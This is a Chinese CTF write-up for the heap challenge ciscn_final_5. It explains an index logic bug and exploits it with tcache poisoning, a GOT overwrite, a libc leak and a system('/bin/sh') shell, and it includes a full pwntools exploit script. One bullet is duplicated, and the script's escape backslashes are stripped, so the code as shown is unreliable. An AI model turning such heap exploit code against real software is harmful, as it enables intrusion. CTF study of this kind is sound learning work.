过两天在来写一遍
流程分析
add函数,这里打印了堆的后12位地址
edit函数,取最后4位作为下标,但由于有17个所以这里有逻辑漏洞
delete函数,同上,逻辑漏洞
思路
由于有逻辑漏洞,所以只要我们将16申请到一个特别的地址,这样我们就可以使地址的值加0x10,所以经过调试我们很容易发现,只要为偶数即可满足条件
- 首先分配一个地址位置为16的堆,堆大小我设为了0x18,然后堆里存储的地址就是0xxxxx270,并且在这里构造一个伪chunk,大小不超过top chunk即可,我在分配了一个堆,在删除这两个堆,这时已经有了overlap
- 这时候我们在申请我们构造的伪chunk,由于overlap,所以我们可以把chunk1的fd指针,修改为ptr的指针,在add两下,就把堆分配到bss段上来了
- 接下来就是老套路了,唯一要注意的是,由于最后1位是地址,而修改的地址最后4位都会是0,所以在填写的时候,会对函数的地址进行一点简单的加减操作
- 首先分配一个地址位置为16的堆,堆大小我设为了0x18,然后堆里存储的地址就是0xxxxx270,并且在这里构造一个伪chunk,大小不超过top chunk即可,我在分配了一个堆,在删除这两个堆,这时已经有了overlap
exp
这里的exp是看了 L.o.W 师傅的博客因为我自己一开始写的脚本跑到修改free地址的时候自己挂了,然后跟师傅的exp对了几遍,发现是sendline和send在作妖,但换了部分send后,还是不行,索性直接全部copy了过来
from pwn import * r = remote("node3.buuoj.cn", 26445) #r = process("./ciscn_final_5") context.log_level = 'debug' elf = ELF("./ciscn_final_5") libc = ELF('../libc-2.27.so') content = 0x6020e0 free_got=0x602018 puts_plt=0x400790 puts_got=0x602020 atoi_got=0x602078 def add(index, size, content): r.recvuntil("your choice: ") r.sendline('1') r.recvuntil("index: ") r.sendline(str(index)) r.recvuntil("size: ") r.sendline(str(size)) r.recvuntil("content: ") r.send(content) def delete(index): r.recvuntil("your choice: ") r.sendline('2') r.recvuntil("index: ") r.sendline(str(index)) def edit(index, content): r.recvuntil("your choice: ") r.sendline('3') r.recvuntil("index: ") r.sendline(str(index)) r.recvuntil("content: ") r.send(content) ptr=0x6020E0 add(16,0x10,p64(0)+p64(0x90))#0 add(1,0xc0,'ppp ')#1 delete(0) delete(1) add(2,0x80,p64(0)+p64(0x51)+p64(ptr)) add(3,0xc0,'pppp') add(4, 0xc0, p64(free_got)+p64(puts_got+1)+p64(atoi_got-4)+p64(0)*17+p32(0x10)*8) edit(8,p64(elf.plt['puts'])*2) delete(1) puts = u64(r.recv(6).ljust(8, b'x00')) libc_base = puts - libc.symbols['puts'] system = libc_base + libc.sym['system'] edit(4, p64(system)*2) r.recvuntil("your choice: ") r.sendline('/bin/shx00') r.interactive()
感悟
- 审题不明确,逻辑漏洞看到了,不过由于代码审计理解错了意思,加上之前简单的看了下这道题与调试,才把这道题的一些细节给搞懂,才知道后面的操作,其次是在修改libc里函数地址时的粗心,没有注意程序流程,不过后面反复观看wp和ida发现了问题
- 对内存的操作得多多了解,之前看《恶意代码分析》的时候,看答案发现,其喜欢把内存的一些操作给跳过,导致自己对内存的一些代码审计不太过关,其次就是很多逻辑漏洞都是在程序的细节上出错的,所以当以后看到有对内存的操作例如&、|这种应该多注意